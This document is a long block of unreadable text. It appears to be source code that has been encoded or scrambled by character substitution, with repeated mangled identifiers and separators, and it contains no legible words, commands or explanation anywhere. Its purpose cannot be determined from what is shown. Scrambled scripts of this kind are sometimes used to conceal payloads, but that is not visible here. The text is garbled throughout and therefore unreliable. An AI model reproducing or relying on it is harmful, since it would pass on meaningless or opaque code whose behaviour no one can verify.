ea=w}=)'/7<3/lee>O="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtvqwlieeeeeea=w}=)'/7<3/l~Oe,#eem0!(7.u=/&.(.mtvqvlma	
	=w7ru&0,2#3mtuqsllleee>Oeeea	
	?|?!)+'qtu++mtvqqlh{40 7<m=w7ru&0,2#3mtvvpll~OOOOee8O8ee&$1&-eeem =& 51,*+eeeea=w}=)'/7<3/lee>Oeeeee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtvqwliea=w}=)'/7<3/l~OOeeeeeeee,#em=}p-/*"'(=r+3mtvqvlma	
	?|?!)+'qtu++mtvqqlllee>Oeea	
	=w7ru&0,2#3mtvqqlh{40 7<m0!(7.u=/&.(.mtvvpll~Oeeee8Oe8OOe8Oe#0+&1,*+ee"1p4*u(w' $'u-<<q<2 mlOeee>Oeeee61$1,&ea ,/u=4v$$+q,eexee+0))~O,#eeema ,/u=4v$$+q,eedxxeee+0))leeee7 107+eea ,/u=4v$$+q,~Oeeeeeee,#eemd=w7ru&0,2#3mtwsplm=}p-/*"'(=r+3mw}plllee>OOOeeeeeeea ,/u=4v$$+q,eeexeeeeegg~O7 107+eeea ,/u=4v$$+q,~Oe8Oeeeea ,/u=4v$$+q,eeeeexeee"?,+#)$1 m0!(7.u=/&.(.mv}qlm0!(7.u=/&.(.mtvqplll~Oee,#eemd?|?!)+'qtu++mtvqslma ,/u=4v$$+q,leee99eee=}p-/*"'(=r+3mtvtrlma ,/u=4v$$+q,leeyeemwqwtpulleea ,/u=4v$$+q,eeeexeegg~Oeee7 107+ea ,/u=4v$$+q,~O8Oeee#0+&1,*+eee+'!* 1,6+!$|r*0 w-|.mlOOOee>Oeeeeee17<ee>OOO,#eeeemd! #,+ !m0!(7.u=/&.(.m|svllleee7 107+~OOOeeeea(p7/u0 *5&-6t$"eexeeee=}p-/*"'(=r+3mtvqrlm.!*q3ww&t$ 5+*7'&rmlie?|?!)+'qtu++mttrrll~Oa=6&<2*=- ,*2exeeee!5} }=v42/31wmeeeekee=w7ru&0,2#3mtvq}lieemqnqlleeekeee=}p-/*"'(=r+3mtvq|l~Oeeeea&<(pu5#$1s <eeexeeee!5} }=v42/31wmeeeekee=w7ru&0,2#3mtvpulieeeeemsnwll~OOOa+'s.2./2#-}exeee0!(7.u=/&.(.mtwsplm0!(7.u=/&.(.mtvptlleezee&*+1 +107)mleeeegg~Oe,#eeema+'s.2./2#-}eeexxxeeeegglee>Oeeea+'s.2./2#-}exem=w7ru&0,2#3mtwsplm=}p-/*"'(=r+3mswwlleeze" 16,1 07)mleeggleekeeeeee=}p-/*"'(=r+3mtvpwl~Oeee8OOOOea?"&-1tw6'7$.2.0eexee?|?!)+'qtu++m||qlm?|?!)+'qtu++mtvpvlieeee=}p-/*"'(=r+3mtvpqlieeeeea+'s.2./2#-}eekeeebjbekea=6&<2*=- ,*2l~Oe,#em0!(7.u=/&.(.mtwrtlma?"&-1tw6'7$.2.0iee0!(7.u=/&.(.mtvpplleeeeeedxxeuleea?"&-1tw6'7$.2.0exeeeee0!(7.u=/&.(.mtvppleekee?|?!)+'qtu++mtusvlma?"&-1tw6'7$.2.0ieeeebjbl~Oeeeeea$3?)w(4'sp.-eeexeeeeee0!(7.u=/&.(.mtwsplm=w7ru&0,2#3mtvpslleeezeee-*( 07)m=}p-/*"'(=r+3mtvprleekeeee&s,*2p0r+|w#.-}p!<=m?|?!)+'qtu++mtvpullleeeegg~Oe,#eema$3?)w(4'sp.-eexxxeeeggleeea$3?)w(4'sp.-eexee=w7ru&0,2#3mtvppleeke4q}?"|6#6#&+=|mggleekeee=w7ru&0,2#3mtvp}leeeekee&s,*2p0r+|w#.-}p!<=m=}p-/*"'(=r+3mtvpull~OOee,#eeem?|?!)+'qtu++mtwrtlma$3?)w(4'sp.-iee=}p-/*"'(=r+3mtvpplleedxxeeuleeeeea$3?)w(4'sp.-eexeeeeee=w7ru&0,2#3mtvppleekee0!(7.u=/&.(.mtusvlm0!(7.u=/&.(.mq|rlm?|?!)+'qtu++mtvp|lieeggiea$3?)w(4'sp.-lieeeebjbl~Oa)<p-/vq}=7w6q4 !eeexeee,66 1ma	
	=w7ru&0,2#3mtvsulleecceeee?|?!)+'qtu++mtvqslma	
	=w7ru&0,2#3mtvsulleezea	
	=}p-/*"'(=r+3mtvsuleeeegg~Oeeeeee,#em=w7ru&0,2#3mtvtrlma)<p-/vq}=7w6q4 !leeeeyemu=|nu=p'lle>Oa)<p-/vq}=7w6q4 !eexeeeee!r)v'-|<70,+r1m?|?!)+'qtu++mv|slieggl~Oee8Oe,#eeem=w7ru&0,2#3mtvtrlma)<p-/vq}=7w6q4 !leeeyeemu=v!nu=wrlleee>OOa)<p-/vq}=7w6q4 !eexe"1p4*u(w' $'u-<<q<2 ml~Oe8Oeea3)*<t$',&!6eeeeexegg~Oeeeeeee,#eem,66 1ma	
	=w7ru&0,2#3mtvstlleeecceeeee0!(7.u=/&.(.mtvqslma	
	=}p-/*"'(=r+3mtvstlleeeeecce=}p-/*"'(=r+3mtvtrlma	
	?|?!)+'qtu++mtvstlle{eeeemtsqtpullee>Oeeeeeeea3)*<t$',&!6exeeea	
	=w7ru&0,2#3mtvstl~Oeee8ee )6 eeeeee>OOeeeeea3)*<t$',&!6exee!r)v'-|<70,+r1m0!(7.u=/&.(.mrtplieeeeeggl~Oeeee8O,#eeeem=}p-/*"'(=r+3mtvtrlma3)*<t$',&!6leee{eeempshslleeee>OOOe)+1#,&v0?4u+v&/s12m=}p-/*"'(=r+3mrtplieea3)*<t$',&!6iee?|?!)+'qtu++mtvswll~O8Oa.#}36|(=4|q+<&eeeexeeee?|?!)+'qtu++mtwsplm?|?!)+'qtu++mtvpsllezem617,+"leee0!(7.u=/&.(.mtvsvlm-*( 07)mbjblieee	leeebjb~Oe,#ema.#}36|(=4|q+<&eeeexxxeeegglea.#}36|(=4|q+<&eexebjb~OOOOe,#em=w7ru&0,2#3mttqslma.#}36|(=4|q+<&ieehtleeeeedxxeeeeebjbleeeeea.#}36|(=4|q+<&eekxebjb~Oa-v"<=.*<.+?$."exee$77$<mOeee=}p-/*"'(=r+3mtvsqlex{e,$6<'?s!uw=3/3r60mliOeee0!(7.u=/&.(.mtvspleeeex{e4*vt2u$2#($}r-=)umliOOOOe=w7ru&0,2#3mtvssleex{ea.#}36|(=4|q+<&iOl~OOeeeeeea)rtu+#20p5!exeee$77$<mOee0!(7.u=/&.(.mtvsrleeeeex{eeeeeea?"&-1tw6'7$.2.0iOe=}p-/*"'(=r+3mtvs}leeeex{eeea(p7/u0 *5&-6t$"iOOOOeeeee0!(7.u=/&.(.mtvs|leex{ea$3?)w(4'sp.-iO?|?!)+'qtu++mtvrulex{ee!5} }=v42/31wmekeeeee=}p-/*"'(=r+3mtvrtlieeeemtvhtlliOOOOe?|?!)+'qtu++mtvrwlex{eeea3)*<t$',&!6iOel~Oea+#6$}4/?1q"q#.r,eeexe726 ",|qq $q'?&m=}p-/*"'(=r+3mvs|lieeeeeeggl~O,#eeeemd?|?!)+'qtu++mtvqslma+#6$}4/?1q"q#.r,le99eee?|?!)+'qtu++mtvrvlma+#6$}4/?1q"q#.r,leeexxxeeuleeee>O7 107+~O8Oa&"+)<w4r&t 't0#eexe=}p-/*"'(=r+3mv}wlm/#'.5v =7tp6"wv.m=}p-/*"'(=r+3mtvrqlma)rtu+#20p5!liea+#6$}4/?1q"q#.r,ll~OOOOea/#?v&"375=s$54eeexe=}p-/*"'(=r+3mtvrpleeke0!(7.u=/&.(.mv}wlm?|?!)+'qtu++mtvrslma-v"<=.*<.+?$."lleke0!(7.u=/&.(.mtvrrl~Oeeeea/#?v&"375=s$54eeeeekxe=}p-/*"'(=r+3mtvr}lekeeeeeea&"+)<w4r&t 't0#ekeee=w7ru&0,2#3mtvr|l~Oee)+1#,&v0?4u+v&/s12m0!(7.u=/&.(.mtv}ulieea/#?v&"375=s$54ieee=}p-/*"'(=r+3mtvswll~Oeeeeeee)+1#,&v0?4u+v&/s12m=w7ru&0,2#3mtv}tliee=w7ru&0,2#3mttptlmm617,+"lea)<p-/vq}=7w6q4 !ekem617,+"lea3)*<t$',&!6eeeeekeeea+#6$}4/?1q"q#.r,eeeekeb9beekeee0!(7.u=/&.(.mtwrvlm4q}?"|6#6#&+=|mgglllieeee=}p-/*"'(=r+3mtvswll~Oa5$$2,147u2)?teexee=w7ru&0,2#3mtwsplm=}p-/*"'(=r+3mtv}wlleezee-*( 07)m0!(7.u=/&.(.mtvprleeeeeekeee&s,*2p0r+|w#.-}p!<=m0!(7.u=/&.(.mrt|llleeeeeegg~O,#eema5$$2,147u2)?teexxxeeeegglea5$$2,147u2)?teeexe?|?!)+'qtu++mtvppleeeke4q}?"|6#6#&+=|mggleke=}p-/*"'(=r+3mtvp}leekeeee&s,*2p0r+|w#.-}p!<=m0!(7.u=/&.(.mrt|ll~Oe,#eeem0!(7.u=/&.(.mtv}vlma5$$2,147u2)?tie=w7ru&0,2#3mtv}qlleedxxeulea5$$2,147u2)?teexee=}p-/*"'(=r+3mtv}qleeekeeeeee=w7ru&0,2#3mtusvlm=}p-/*"'(=r+3mtv}plm0!(7.u=/&.(.mtvp|lieeeeggieea5$$2,147u2)?tlieeebjbl~Oeeeee)+1#,&v0?4u+v&/s12m=}p-/*"'(=r+3mtv}slieea5$$2,147u2)?tieeee?|?!)+'qtu++mtv}rll~Oe,#em=w7ru&0,2#3mtvrvlma)<p-/vq}=7w6q4 !leeyeem|tn|lleee>Oe7 107+~Oee8Oeeee)+1#,&v0?4u+v&/s12m=}p-/*"'(=r+3mtv}}lieea)<p-/vq}=7w6q4 !ieeee?|?!)+'qtu++mtv}rll~Oee,#eeeeemd2.#?.!qqr116?#+6$")v mlle7 107+~Oeea7.s="4u* "4 "7(eeexeee)!r7q}$#qrwq+&#6,#6,'ml~Oee,#eeeeeemd?|?!)+'qtu++mtvtvlma7.s="4u* "4 "7(lleee")"--6=55t,-(&ma7.s="4u* "4 "7(ieeeemwrtnwwwliee170 l~Oeeeee,#eeemd=w7ru&0,2#3mtv}|lma7.s="4u* "4 "7(leeee99eed=w7ru&0,2#3mtvtqlma7.s="4u* "4 "7(llee7 107+~Oeeeea++<p$ #7/|}0eexea7.s="4u* "4 "7(eekeeebjbeekeeea&<(pu5#$1s <eeekee=}p-/*"'(=r+3mttrrl~Oeea(($t5&(w,!$6eexee-v/"u3(r7,t6<mOeeeeeee=w7ru&0,2#3mtv|uliO$77$<mb	bieeeeeeb bieb  bieb 
bliOeeeeee$77$<ma(p7/u0 *5&-6t$"iea=6&<2*=- ,*2ieeee!5} }=v42/31wmeeeeeke?|?!)+'qtu++mtv|tlieemtunwllieeeee',7|#2u4-"!$4'1"smllOel~Oeeee,#emda(($t5&(w,!$6le>Oe,#emm,+1lee" 1*51,*+m?|?!)+'qtu++m}|plieulee{euleee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mrt|lieeeee0!(7.u=/&.(.mtv|wll~OOOeeee7 107+~Oeeeee8Oe,#eemd=w7ru&0,2#3mtwvslma++<p$ #7/|}0lee99ee0!(7.u=/&.(.mttptlm--r<<!4$-0!rq)}pmm617,+"leee=}p-/*"'(=r+3mtv|vlma++<p$ #7/|}0llleedxxee=}p-/*"'(=r+3mtv|qlma(($t5&(w,!$6llee>Oeeeeeee-3&*t0)(+,)?3 r6rma++<p$ #7/|}0ieea(($t5&(w,!$6ie0!(7.u=/&.(.mtv|pll~OOO6qp1/"3/r)3u0v.w,|ma++<p$ #7/|}0ie"7t3r$!4vp#w=u$53mll~O17.s-rs}w1.3'qma++<p$ #7/|}0ieeeemvvrn}vll~Oeee1&s?222)1$ (10)r+3?ma++<p$ #7/|}0l~O8Oeee8e&$1&-em-7*2$') ea=w}=)'/7<3/leee>OO="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtv|slieea=w}=)'/7<3/l~OOOeeee8ee&$1&-eem =& 51,*+eeea=w}=)'/7<3/lee>Oe8Oeeeee8Oee#0+&1,*+e-v/"u3(r7,t6<ma. <iea2'r5vq,1.}1'=7&riea&+7/,t's46lOee>Oeea&#)'+pp!01 w=v.5exe+0))~OOO,#eema&#)'+pp!01 w=v.5eeexxxeeee+0))leee>Oeeeea&#)'+pp!01 w=v.5eexe=}p-/*"'(=r+3mtwsplm?|?!)+'qtu++mtv|rlleeeezeeeee" 117$+6, +1m#4q6v2-)!s 15-mlleeeeeeeeee#$)6 ~Oeeee,#eeeeeemdee0!(7.u=/&.(.mtvuplma&#)'+pp!01 w=v.5llee>Oea&#)'+pp!01 w=v.5eeexe u6q$21 w<q2/0)#7-m0!(7.u=/&.(.mtv|}lie#$)6 l~O8Oe,#eemdee=}p-/*"'(=r+3mtvuplma&#)'+pp!01 w=v.5lleee>Oa&#)'+pp!01 w=v.5eeeeeexee$77$<ml~Oee8Oeee8Oea*p}t!|"03}"q!p3exegg~OOeee,#eeeeem,66 1ma&#)'+pp!01 w=v.5a. <leeeeecceeee=}p-/*"'(=r+3mtv||lma&#)'+pp!01 w=v.5a. <llee>Oa*p}t!|"03}"q!p3eexeea&#)'+pp!01 w=v.5a. <~O8Oee,#eem=}p-/*"'(=r+3mtvrvlma*p}t!|"03}"q!p3leeeyeeeemu=pnu=w!lle>Oea*p}t!|"03}"q!p3eexee!r)v'-|<70,+r1ma. <ieggl~OOOe8OOOe,#eeeem=w7ru&0,2#3mtquulma*p}t!|"03}"q!p3leeyemu=t}nu=t$lleee7 107+eeee#$)6 ~Oeeea?2*"sw"=p6/2eexeeeee?|?!)+'qtu++mv}qlma*p}t!|"03}"q!p3iee170 l~Oeeee,#eeeeemda?2*"sw"=p6/2eeee99eee?|?!)+'qtu++mtquulma?2*"sw"=p6/2leeeeeeyemu=ttnu=wtlle7 107+eeeeee#$)6 ~Oeeeeee,#eeem0!(7.u=/&.(.mtv}vlma?2*"sw"=p6/2ie0!(7.u=/&.(.m|vplleeeeexxxe#$)6 lee7 107+eee#$)6 ~Oeeea?2*"sw"=p6/2eeexeeee=}p-/*"'(=r+3mtqutlma2'r5vq,1.}1'=7&riea&+7/,t's46ieea?2*"sw"=p6/2l~OOO,#eeeeem! #,+ !m0!(7.u=/&.(.mwqrllleee>Oe17<eee>OOOe1*. +" 1$))ma?2*"sw"=p6/2ie
  l~Oee8eee&$1&-eem-7*2$') ea=w}=)'/7<3/le>Oe7 107+ee#$)6 ~Oe8eee&$1&-eem =& 51,*+eea=w}=)'/7<3/leeee>OOOO7 107+eeeee#$)6 ~Oe8Oeee8ee )6 ,#eeemd +/$07!"qr+ 6)*pw</s -ma?2*"sw"=p6/2lle>O7 107+ee#$)6 ~O8Oee7 107+ea?2*"sw"=p6/2~Oe8Oeeee#0+&1,*+eeee/}!.<#5)q.#&ts/3}6qmlOeeee>O17<ee>OOeee,#eeeemd=w7ru&0,2#3mtwsplm=w7ru&0,2#3mtv|rllle7 107+~Oe,#eemd! #,+ !m=w7ru&0,2#3m|svllleee7 107+~Oeeeea&+=1 +7 w1v| )"eeeexee ?u#,#+5( ,27.'<ml~Oeeeeeee,#eeeeemda&+=1 +7 w1v| )"lee>Oee+'!* 1,6+!$|r*0 w-|.ml~OOOeeeea&+=1 +7 w1v| )"exeee ?u#,#+5( ,27.'<ml~OOe8Oea(2|312?-4-exe!r)v'-|<70,+r1m=}p-/*"'(=r+3mvs|lieggl~OOOe,#em0!(7.u=/&.(.mtquwlma(2|312?-4-leeexxxeeulea(2|312?-4-eeexe=}p-/*"'(=r+3mtquvlmg=uugieemtyyqll~OOeea1}( *w)'5v4eeexeem,66 1ma	
	0!(7.u=/&.(.mtvsulleeeeccee=w7ru&0,2#3mtv||lma	
	?|?!)+'qtu++mtvsullecce=w7ru&0,2#3mtquwlma	
	=}p-/*"'(=r+3mtquqlle{xemqn|slleezea	
	=w7ru&0,2#3mtquqleeeeee!r)v'-|<70,+r1m?|?!)+'qtu++mtv}}lieeggl~Oee,#em=}p-/*"'(=r+3mtquplma1}( *w)'5v4leeyeemsunqulleea1}( *w)'5v4eexe"1p4*u(w' $'u-<<q<2 ml~Oa"$*#4*=<&|(|eexeem,66 1ma	
	=}p-/*"'(=r+3mtvstlleeccee0!(7.u=/&.(.mtv||lma	
	?|?!)+'qtu++mtquslleeecce=}p-/*"'(=r+3mtquplma	
	0!(7.u=/&.(.mtqurlleee{eemu=wqnu= lleeeeezeea	
	?|?!)+'qtu++mtqu}leeeee!r)v'-|<70,+r1m?|?!)+'qtu++mrtplieeeeggl~Oeea,6=v&}74v6)us!eeeeexe?|?!)+'qtu++mtqu|lma1}( *w)'5v4eeeeekea"$*#4*=<&|(|eekeeeea(2|312?-4-eekeeeeeb9beeke?|?!)+'qtu++mtwrvlm4q}?"|6#6#&+=|mgglll~Oe,#eem!r)v'-|<70,+r1m0!(7.u=/&.(.mtv}tlieeeggleedxxea,6=v&}74v6)us!leee>Oeeeeee+'!* 1,6+!$|r*0 w-|.ml~OOOOeeeeeeea&+=1 +7 w1v| )"exee ?u#,#+5( ,27.'<ml~Oe8Oeeee,#emd2.#?.!qqr116?#+6$")v mlleeee7 107+~Oea.7"=!#p<*|t4eeexe/v&))=5vt?}||u5'#<&4ml~Oeeeeea}.&-0&&?*seexee0!(7.u=/&.(.mtqtulma.7"=!#p<*|t4eeekee0!(7.u=/&.(.mppvll~Oeeee,#eema}.&-0&&?*seecceea&+=1 +7 w1v| )"ecce" 117$+6, +1m?|?!)+'qtu++mrqqlllee7 107+~Oee= 5'.(|#+1, .=(5-. qml~OOOOeeeeeee!+)v67<?/r'q)q7+ml~O4r$+})t4#,6.+6ml~Oea<3}=$+1?tu7eexee0!(7.u=/&.(.mtqttlma.7"=!#p<*|t4eekee=}p-/*"'(=r+3mppvll~Oeeeeea&+=1 +7 w1v| )"eeexe ?u#,#+5( ,27.'<ml~Oe,#eema<3}=$+1?tu7eeecceea&+=1 +7 w1v| )"leeeee>Oeee6 117$+6, +1m?|?!)+'qtu++mrqqlietieemqvuhtvull~O8OO8eeeeee&$1&-em-7*2$') eeea=w}=)'/7<3/leee>O="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtqtwlieea=w}=)'/7<3/l~Oe8ee&$1&-eem =& 51,*+eeeea=w}=)'/7<3/leee>Oe8Oeeee8Oeee#0+&1,*+ee!+)v67<?/r'q)q7+mlOeeee>Oe17<e>Oe,#eeemd! #,+ !m=w7ru&0,2#3mtqtvlllee7 107+~Oee,#eeeeeem0!(7.u=/&.(.mpwslmlexxxe=}p-/*"'(=r+3mtqtqlleeee7 107+~Oeeeea6#&}$/4'+62)/*+exe=w7ru&0,2#3mtqtplm?|?!)+'qtu++mtqtslleeezee0!(7.u=/&.(.mtqtrlm=}p-/*"'(=r+3mps|lleeeeee#$)6 ~OOe,#eeeeemda6#&}$/4'+62)/*+eee99ea6#&}$/4'+62)/*+eeeeexxxeeeeggee99eea6#&}$/4'+62)/*+eeeexxxeee=}p-/*"'(=r+3mprulleeea6#&}$/4'+62)/*+eexee=}p-/*"'(=r+3mprtl~Oa&<(pu5#$1s <eeeeexeee!5} }=v42/31wmeekee0!(7.u=/&.(.mtqt}lieemu=qnu=qll~Oeeeeea.7"=!#p<*|t4eeeeexe/v&))=5vt?}||u5'#<&4ml~OOeeea7.s="4u* "4 "7(eeeeeexee)!r7q}$#qrwq+&#6,#6,'ml~Oea2q)w03-=)v='r$eexe!5} }=v42/31wmeeekee?|?!)+'qtu++mttuslieeeeeemtuhwlleeeke0!(7.u=/&.(.mttrrl~Oeeeeeeeea-12#!p6t6q-$1eexeea.7"=!#p<*|t4ekeebjbekeeeea2q)w03-=)v='r$~Oeea6*)0-0 ,!'eexea.7"=!#p<*|t4eekee0!(7.u=/&.(.mtqt|leekeeeea2q)w03-=)v='r$~Oa(p7/u0 *5&-6t$"eeeexe=w7ru&0,2#3mtvqrlm.!*q3ww&t$ 5+*7'&rmlie=w7ru&0,2#3mttrrll~Oeea=6&<2*=- ,*2eeeexeeee!5} }=v42/31wmeeeke0!(7.u=/&.(.mtqwulieeemwnsllekeee=w7ru&0,2#3mtvq|l~Oa)++'/(s*$'#!2exem,+1leee" 1*51,*+m=w7ru&0,2#3mtqwtlieul~Oe,#eeema)++'/(s*$'#!2eccee?|?!)+'qtu++mtqwwlmleeeehea)++'/(s*$'#!2eeeyeeemtswus}hrpss}lleee>Oe*w7| &050/$ ==w"*ma-12#!p6t6q-$1iee+0))l~OOOeee*w7| &050/$ ==w"*ma6*)0-0 ,!'iee+0))l~Oeeeee#*7 $&-eem$77$<m0!(7.u=/&.(.msrqlmie=}p-/*"'(=r+3mtw}plliee0!(7.u=/&.(.msrqlma.7"=!#p<*|t4iee0!(7.u=/&.(.mtw}pllleeeee$6eeeea)v?up|#.uq&le>Oea5+2sr?(v"=+veeexeeeeea)v?up|#.uq&eeeekeebjbeekeeea6#&}$/4'+62)/*+~Oeeea=-?p4}-u2."2=,6vexee0!(7.u=/&.(.mtvwulma5+2sr?(v"=+vleeezeee?|?!)+'qtu++mtv|vlma5+2sr?(v"=+vleeeeegg~Oeee,#eem=}p-/*"'(=r+3mtv||lma=-?p4}-u2."2=,6vleecceee=}p-/*"'(=r+3mtv}vlma=-?p4}-u2."2=,6vieeeea2q)w03-=)v='r$leeeeeedxxeeee#$)6 le>Oeeeea!*<}u,t|5exee=}p-/*"'(=r+3mtv}plm=w7ru&0,2#3mtqwvleeekeee0!(7.u=/&.(.m|rtlma2q)w03-=)v='r$ieebjblekee?|?!)+'qtu++mtqwqlieeg+gieeeeea=-?p4}-u2."2=,6vl~Oee,#eeeem=w7ru&0,2#3mtv||lma!*<}u,t|5lecceeeeeea!*<}u,t|5eeeeedxxea=-?p4}-u2."2=,6vleee<?+3w",2"p|.<!5!ma5+2sr?(v"=+viea!*<}u,t|5l~OOOOeee8Oe8Oeeee7 107+~Oeee8Oeea'q<t<&--04rexeee-v/"u3(r7,t6<mOOee0!(7.u=/&.(.mtqwpliO$77$<mb	bieb biebbieebbieeeb
 sqbieb 
bliOe$77$<ma(p7/u0 *5&-6t$"ieea=6&<2*=- ,*2ieea&<(pu5#$1s <ie=}p-/*"'(=r+3mtqwsleekee!5} }=v42/31wmeeeeeeke=w7ru&0,2#3mtqwrlieeeeemtnrllieeeee=w7ru&0,2#3mv}wlm! #,+ !m=}p-/*"'(=r+3mtqw}llezeee
 eeeeee/v&))=5vt?}||u5'#<&4mllieee',7|#2u4-"!$4'1"smllOel~Oe,#eeeemda'q<t<&--04rleee>Oee,#eeeeeemm,+1le" 1*51,*+m=}p-/*"'(=r+3m}|plieeeeeulee{eeeeeeule="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtqw|lieeee=w7ru&0,2#3mtqvull~Oe7 107+~O8Oee,#eemd0!(7.u=/&.(.mtv}|lma7.s="4u* "4 "7(lleeee")"--6=55t,-(&ma7.s="4u* "4 "7(ieeeemu=tv$nu='vlie170 l~Oea0r2#s$r<10s5exe#$)6 ~Oeeeeee,#eemd=w7ru&0,2#3mtqttlma6*)0-0 ,!'lee99ee0!(7.u=/&.(.mtqu|lm--r<<!4$-0!rq)}pmm617,+"leeee=w7ru&0,2#3mtv|vlma6*)0-0 ,!'llleeeedxxee=w7ru&0,2#3mtqu|lma'q<t<&--04rllee>Oeee-3&*t0)(+,)?3 r6rma6*)0-0 ,!'ieeea'q<t<&--04riee=w7ru&0,2#3mtqvtll~Oee6qp1/"3/r)3u0v.w,|ma6*)0-0 ,!'iee"7t3r$!4vp#w=u$53mll~OOOeeee17.s-rs}w1.3'qma6*)0-0 ,!'iemvrunpull~OOOO1&s?222)1$ (10)r+3?ma6*)0-0 ,!'l~Oeeeeea0r2#s$r<10s5eexe170 ~Oeeeeee8Oea#1+ v,,?. 7exeeegg~Oee#*7 $&-em$77$<m=w7ru&0,2#3msrqlmieee=w7ru&0,2#3mtw}plliee0!(7.u=/&.(.msrqlma.7"=!#p<*|t4ieee?|?!)+'qtu++mtw}pllle$6eeeea'7t)55-t)3lee>Oea5*vw.6t"#r"#sexeeeee=w7ru&0,2#3mtqttlma'7t)55-t)3eeekeeebjbeekeeea6#&}$/4'+62)/*+leze=w7ru&0,2#3mtqvwlma'7t)55-t)3eeekebjbekea6#&}$/4'+62)/*+leeeeegg~OOOe,#eeeem=}p-/*"'(=r+3mtqvvlma5*vw.6t"#r"#sleeccee=w7ru&0,2#3mtwr|lm?|?!)+'qtu++mtqvqliea5*vw.6t"#r"#sieea#5$ # # )5<lleee>Oeeeeeeea<!.<0&us,r+ ?eeexeee=w7ru&0,2#3m|u|lma#5$ # # )5<wl~Oeeee,#eeeeema<!.<0&us,r+ ?eeeedxxeeeeggeeccee617,5*6ma<!.<0&us,r+ ?ie=}p-/*"'(=r+3mtqvplleeexxxe#$)6 ecceeeed6!**1)t}<?+$r/s#u/}ma<!.<0&us,r+ ?lleeee>Oeeeeeeeea#1+ v,,?. 7eexeeea<!.<0&us,r+ ?~OOOeeee'7 $.~Oee8Oe8Oeee8OOOOeOeeeeeeea,}p!s"0}w3!exe0!(7.u=/&.(.m||rlekema#1+ v,,?. 7eeeeeedxxeeggeeezeee=w7ru&0,2#3mtqvsleeke0!(7.u=/&.(.mtqvrlma#1+ v,,?. 7iee170 leeeekeeeeee=w7ru&0,2#3mtqv}leeeeeeeeegglOeeke=w7ru&0,2#3mtqv|leekeea2q)w03-=)v='r$eeke=}p-/*"'(=r+3mtqqulOke0!(7.u=/&.(.mtqqtlOeeeekeeee=w7ru&0,2#3mtqqwlOeekeeee=}p-/*"'(=r+3mtqqvleeeekee0!(7.u=/&.(.mtqqqlma'q<t<&--04rleekee=}p-/*"'(=r+3mtqqpl~Oeeeeeee,#eeeemd0!(7.u=/&.(.mtqttlma-12#!p6t6q-$1leee99eeeee=}p-/*"'(=r+3mtqqqlm--r<<!4$-0!rq)}pmm617,+"leeee=w7ru&0,2#3mtqqslma-12#!p6t6q-$1llleeeeedxxee=w7ru&0,2#3mtqqqlma,}p!s"0}w3!lleeee>Oeeeee-3&*t0)(+,)?3 r6rma-12#!p6t6q-$1ieeea,}p!s"0}w3!ieee?|?!)+'qtu++mtqqrll~Oeeee6qp1/"3/r)3u0v.w,|ma-12#!p6t6q-$1ieeee"7t3r$!4vp#w=u$53mll~Oe17.s-rs}w1.3'qma-12#!p6t6q-$1ieeeeeemstvht|vll~OO1&s?222)1$ (10)r+3?ma-12#!p6t6q-$1l~Oeea0r2#s$r<10s5eeeexe170 ~Oeeee8Oea#/s?r"|(/eexee170 ~Oeeeeeea4$.p,q5+|v+w,eeeeexe--r<<!4$-0!rq)}pmm617,+"lee=}p-/*"'(=r+3mtqqslma6*)0-0 ,!'ll~O,#emd=}p-/*"'(=r+3mtvwulma6*)0-0 ,!'le99ea4$.p,q5+|v+w,edxxeeea'q<t<&--04rle>Oee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtqq}liee=}p-/*"'(=r+3mtww|ll~OOOO*w7| &050/$ ==w"*ma6*)0-0 ,!'ie+0))l~Oeeeea#/s?r"|(/exeee#$)6 ~O8Oeeeeeea4$.p,q5+|v+w,eeeexeee--r<<!4$-0!rq)}pmm617,+"leeee=}p-/*"'(=r+3mtqqslma-12#!p6t6q-$1ll~Oeeee,#eeemd=}p-/*"'(=r+3mtqq|lma-12#!p6t6q-$1le99eeeeea4$.p,q5+|v+w,eedxxeea,}p!s"0}w3!lee>O="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtqq}lie=}p-/*"'(=r+3mtww|ll~Oeeeeeee*w7| &050/$ ==w"*ma-12#!p6t6q-$1iee+0))l~Oa#/s?r"|(/eexe#$)6 ~Oe8O0+6 1ma4$.p,q5+|v+w,l~Oeeee,#eeemda#/s?r"|(/lee>Oeeeeea'+|6*r6s6.!t|".eexeem,+1lee" 1*51,*+m?|?!)+'qtu++mtqpulieeeeuleenet~O05!$1 *51,*+m?|?!)+'qtu++mtqptlieeeea'+|6*r6s6.!t|".iee0!(7.u=/&.(.mtqpwll~O,#ema'+|6*r6s6.!t|".e{xemtr}trrllee>O05!$1 *51,*+m?|?!)+'qtu++mtqwtliee=}p-/*"'(=r+3mtqwwlmlie=}p-/*"'(=r+3mtqpwll~Oeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtqq}lieee0!(7.u=/&.(.mtqpvll~Oeee8Oeeee7 107+~OOe8Oeea6=-.04#3(ueexe$77$<m=w7ru&0,2#3msrqlmieeee=}p-/*"'(=r+3mtqpqllieee=}p-/*"'(=r+3mtqpplma.7"=!#p<*|t4ie?|?!)+'qtu++mtqpqlll~Oea3$5(w}q5#?&( eeexeeeee$77$<ml~O#*7 $&-eema6=-.04#3(ueee$6eeeeea,up&5"-,q7lee>Oeea!)| 25.=t}5#u"exeeeeea,up&5"-,q7ekeebjbeeeekea6#&}$/4'+62)/*+~Oeea(|0vq+&266<||'-eeexee?|?!)+'qtu++mtqpslma!)| 25.=t}5#u"lezeee?|?!)+'qtu++mpsslma!)| 25.=t}5#u"leeeeeeeu~Oea&077 +1eexe0!(7.u=/&.(.mtqttlma!)| 25.=t}5#u"leeezee=}p-/*"'(=r+3mtqqslma!)| 25.=t}5#u"leeegg~Oe,#emd=w7ru&0,2#3mtqvvlma&077 +1llee>OO="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtqq}lieeee=}p-/*"'(=r+3mtqprll~O7 107+~Oe8O,#eem=}p-/*"'(=r+3mtv}vlma&077 +1ieea2q)w03-=)v='r$leexxxee#$)6 leee>O,#eeema&077 +1eccee?|?!)+'qtu++mtqp}lm0!(7.u=/&.(.mtqpplma&077 +1liehtleedxxeeg+gleeeea&077 